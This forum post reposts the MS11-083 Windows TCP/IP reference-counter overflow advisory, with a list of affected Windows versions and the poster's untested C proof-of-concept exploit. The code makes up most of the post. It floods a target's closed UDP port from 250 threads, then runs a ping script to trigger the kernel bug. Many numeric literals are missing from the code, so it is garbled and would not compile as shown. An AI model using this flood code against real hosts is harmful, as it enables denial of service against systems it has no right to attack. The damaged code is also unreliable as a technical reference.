Microsoft Windows TCP/IP Stack Reference Counter Overflow (MS11-083; CVE-2011-2013)

This vulnerability was published by Microsoft on Tuesday, November 08, 2011.
I thought I'd post it here because not much else is being posted in the vulnerability database anyways.

Vulnerable

  • Windows Vista Service Pack 2
  • Windows Vista x64 Edition Service Pack 2
  • Windows Server 2008 for 32-bit Systems Service Pack 2
  • Windows Server 2008 for x64-based Systems Service Pack 2
  • Windows Server 2008 for Itanium-based Systems Service Pack 2
  • Windows 7 for 32-bit Systems
  • Windows 7 for 32-bit Systems Service Pack 1
  • Windows 7 for x64-based Systems
  • Windows 7 for x64-based Systems Service Pack 1
  • Windows Server 2008 R2 for x64-based Systems
  • Windows Server 2008 R2 for x64-based Systems Service Pack 1
  • Windows Server 2008 R2 for Itanium-based Systems
  • Windows Server 2008 R2 for Itanium-based Systems Service Pack 1

Details
The vulnerability is caused due to an integer overflow in Windows TCP/IP stack while processing a continuous flow of specially crafted UDP packets. A remote attacker could trigger this issue by sending a continuous flow of specifically crafted UDP packets to a closed port on a target system. Successful exploitation could allow an attacker to run arbitrary code in kernel mode.

Proof of Concept (I have not tested this)

/*
* MS11-083 DoS/PoC exploit
* ========================
* This attempts to trigger the ICMP refCount overflow  
* in TCP/IP stack of Win7/Vista/Win2k8 hosts. This
* requires sending 2^32 UDP packets to a host on a closed
* port, or 4,294,967,296 packets. A dereference function
* must be called that is not triggered via UDP but ICMP  
* echo packets. This exploit creates 250 threads and
* floods a host with UDP packets and then attempts to
* trigger the de-ref using ping. I calculated that it
* would take approximately 52 days for the host to
* enter a condition where this vulnerability is
* triggerable.
*
* -- prdelka
*/

#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys/time.h>

int port;
int active = ;
pthread_mutex_t mutexactive;
void *sendpackets(void *ptr);

int main(int argc, char *argv[]) {
       pthread_t thread;
       int iret,lthreads;
  pid_t pid;
  printf("[+] MS11-083 DoS/PoC exploit\n");
  if(argc<3){
    printf("[!] Usage : %s <server> <port>\n", argv[]);
    exit(1);
  }
  char *const args[] = {"ping",argv[1],NULL};
  char *const envp[] = {"",NULL};
  port = atoi(argv[2]);
  for(lthreads=;lthreads<250;lthreads++){//UDP flood
    iret = pthread_create(&thread,NULL,sendpackets,argv[1]);
    printf("[-] Thread number %d started\n",lthreads);
    sleep(1);
  }
  printf("[-] One does not simply barrel roll into Mordor\n");
  pid = fork();
  if(pid==){// trigger deref.
    execve("./ping.sh",args,envp);
  };
  while(active){
  }
  printf("[-] You are finished. Patience is a virtue.\n");
  exit();
}

void *sendpackets(void *ptr)
{
  int sd, rc, n, echoLen, flags, error, timeOut;
  unsigned long i;
  struct sockaddr_in remoteServAddr;
  struct hostent *h;
  char str[41];
  pthread_mutex_lock(&mutexactive);
  active++;
  pthread_mutex_unlock(&mutexactive);
     srand(time(NULL));
     for (i = ;i < 40;++i){
    str[i] = (char)((rand() % 78) + 30);
     }
     str[40] = '\0'; // yes this was off-by-one. Sad
  printf("[-] Sending payload '%s'\n",str);
    h = gethostbyname(ptr);
  if(h==NULL) {
        printf("unknown host '%s' \n",(char*)ptr);
        exit(1);
    }
  remoteServAddr.sin_family = h->h_addrtype;
  memcpy((char *) &remoteServAddr.sin_addr.s_addr,h->h_addr_list[], h->h_length);
  remoteServAddr.sin_port = htons(port);
  sd = socket(AF_INET,SOCK_DGRAM,);
  if(sd<){
    printf("[!] Cannot open socket\n");
    pthread_exit((void*));
  }
  flags = ;
  for(i=;i<4294967295;i++){
    rc = sendto(sd,str,strlen(str)+1,flags,(struct sockaddr *)&remoteServAddr,sizeof(remoteServAddr));
    if(rc<){
      printf("[!] Cannot send data\n");
            close(sd);
      pthread_exit((void*));
        }
  }
  pthread_mutex_lock(&mutexactive);
  active--;
  pthread_mutex_unlock(&mutexactive);
  pthread_exit(NULL);
}